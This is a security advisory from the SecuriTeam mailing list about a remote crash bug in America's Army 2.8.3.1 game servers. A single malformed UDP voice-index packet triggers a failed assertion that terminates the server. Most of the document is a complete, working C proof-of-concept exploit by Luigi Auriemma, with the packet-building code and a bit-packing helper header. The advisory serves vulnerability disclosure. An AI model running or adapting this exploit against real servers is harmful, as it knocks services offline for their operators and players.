[NEWS] America's Army Server Termination



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



America's Army Server Termination
------------------------------------------------------------------------


SUMMARY

" <http://www.americasarmy.com> America's Army (also known as AA or Army
Game Project) is a tactical multiplayer first-person shooter owned by the
United States Government and released as a global public relations
initiative to help with U.S. Army recruitment." A vulnerability in AA
(America's Army) server allows attackers to cause it to fail by sending it
an invalid voice index packet.

DETAILS

Vulnerable Systems:
* America's Army version 2.8.3.1

The AA server can be terminated remotely through a specific single
spoofable UDP packet which leads to a failed assertion:
"Assertion failed: VoiceIndex<VOICE_MAX_CHATTERS"

Note: this bug is the same I found and disclosed in Unreal Tournament 2004
some days ago and which affects some other games too (ut2004null).

Exploit:
/*
Copyright 2008 Luigi Auriemma - http://aluigi.org/poc/armynchia.zip

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <ctype.h>
#include <time.h>
#include "rwbits.h"

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#define stristr strcasestr
#endif

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;



#define VER "0.1"
#define PORT 1716
#define BUFFSZ 1024 // the max supported is 576

#define GS1_QUERY "\\info\\"



int unreal_info(struct sockaddr_in *peer);
int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int
rear, ...);
int write_unrser(int num, u8 *buff, int bits, int max);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct
sockaddr_in *peer, int err);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int b,
i,
sd,
chn;
u16 port = PORT;
u8 buff[BUFFSZ],
*host;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"America's Army <= 2.8.3.1 server termination "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}

if(argc > 2) port = atoi(argv[2]);
host = argv[1];

peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));

if(port != PORT) unreal_info(&peer);

chn = time(NULL) % 0x3ff;
if(!chn) chn++;

b = 0;
b = write_unrser(0, buff, b, 0x4000);
for(i = 0; i < 2; i++) {
b = write_bits(0, 1, buff, b);
b = write_bits(0, 1, buff, b);
b = write_bits(1, 1, buff, b);
b = write_unrser(i ? chn : 0, buff, b, 0x800);
b = write_unrser(1, buff, b, 0x400);
b = write_unrser(i ? 4 : 1, buff, b, 0x08);
b = write_unrser(0, buff, b, 0x1000);
}
b = write_bits(1, 1, buff, b); // ???

printf("- send malformed packet:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
send_recv(sd, buff, ((b+7)&(~7))>>3, buff, BUFFSZ, &peer, 1);
close(sd);
printf("\n- now check the server manually\n");
return(0);
}



int unreal_info(struct sockaddr_in *peer) {
int sd,
len,
retver = 0;
u8 buff[4096],
*gamever = NULL,
*hostport = NULL;

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

printf("\n- send info queries\n");
len = send_recv(sd, GS1_QUERY, sizeof(GS1_QUERY) - 1, buff,
sizeof(buff), peer, 0);
if(len < 0) goto quit;

printf("\n- handle reply:\n");
gs_handle_info(buff, len,
1, '\\', 0, 0,
"gamever", &gamever,
"hostport", &hostport,
NULL, NULL);

if(gamever) {
retver = atoi(gamever);
}
if(hostport) {
peer->sin_port = htons(atoi(hostport));
printf("\n- set hostport %hu\n", ntohs(peer->sin_port));
}

quit:
close(sd);
return(retver);
}



int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int
rear, ...) {
va_list ap;
int i,
args,
found;
u8 **parz,
***valz,
*p,
*limit,
*par,
*val;

va_start(ap, rear);
for(i = 0; ; i++) {
if(!va_arg(ap, u8 *)) break;
if(!va_arg(ap, u8 **)) break;
}
va_end(ap);

args = i;
parz = malloc(args * sizeof(u8 *));
valz = malloc(args * sizeof(u8 **));

va_start(ap, rear);
for(i = 0; i < args; i++) {
parz[i] = va_arg(ap, u8 *);
valz[i] = va_arg(ap, u8 **);
*valz[i] = NULL;
}
va_end(ap);

found = 0;
limit = data + datalen - rear;
*limit = 0;
data += front;
par = NULL;
val = NULL;

for(p = data; (data < limit) && p; data = p + 1, nt++) {
p = strchr(data, chr);
if(p) *p = 0;

if(nt & 1) {
if(!par) continue;
val = data;
printf(" %30s %s\n", par, val);

for(i = 0; i < args; i++) {
if(!stricmp(par, parz[i])) *valz[i] = val;
}
} else {
par = data;
}
}

free(parz);
free(valz);
return(found);
}



int write_unrser(int num, u8 *buff, int bits, int max) { //
forcompability with core.dll
int b;

for(b = 1; b && (b < max); b <<= 1) {
bits = write_bits((num & b) ? 1 : 0, 1, buff, bits);
}
return(bits);
}



int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct
sockaddr_in *peer, int err) {
int retry = 2,
len;

if(in) {
while(retry--) {
fputc('.', stdout);
if(sendto(sd, in, insz, 0, (struct sockaddr *)peer,
sizeof(struct sockaddr_in))
< 0) goto quit;
if(!out) return(0);
if(!timeout(sd, 2)) break;
}
} else {
if(timeout(sd, 3) < 0) retry = -1;
}

if(retry < 0) {
if(!err) return(-2);
printf("\nError: socket timeout, no reply received\n\n");
exit(1);
}

fputc('.', stdout);
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) goto quit;
return(len);
quit:
if(err) std_err();
return(-1);
}



int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;

tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}



u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}



#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

rwbits.h
/*

Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: aluigi.org

max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.

*/



unsigned int read_bits( // number read
unsigned int bits, // how much bits to read
unsigned char *in, // buffer from which to read the number
unsigned int in_bits // position of the buffer in bits
) {
unsigned int seek_bits,
rem,
seek = 0,
ret = 0,
mask = -1L;

if(bits > 32) return(0);
if(bits < 32) mask = (1 << bits) - 1;
for(;;) {
seek_bits = in_bits & 7;
ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek;
rem = 8 - seek_bits;
if(rem >= bits) break;
bits -= rem;
in_bits += rem;
seek += rem;
mask = (1 << bits) - 1;
}
return(ret);
}



unsigned int write_bits( // position where the stored number finishs
unsigned int data, // number to store
unsigned int bits, // how much bits to occupy
unsigned char *out, // buffer on which to store the number
unsigned int out_bits // position of the buffer in bits
) {
unsigned int seek_bits,
rem;

if(bits > 32) return(out_bits);
if(bits < 32) data &= ((1 << bits) - 1);
for(;;) {
seek_bits = out_bits & 7;
*(out + (out_bits >> 3)) &= (1 << seek_bits) - 1; // zero
*(out + (out_bits >> 3)) |= (data << seek_bits);
rem = 8 - seek_bits;
if(rem >= bits) break;
out_bits += rem;
bits -= rem;
data >>= rem;
}
return(out_bits + bits);
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.org/adv/armynchia-adv.txt>
http://aluigi.org/adv/armynchia-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages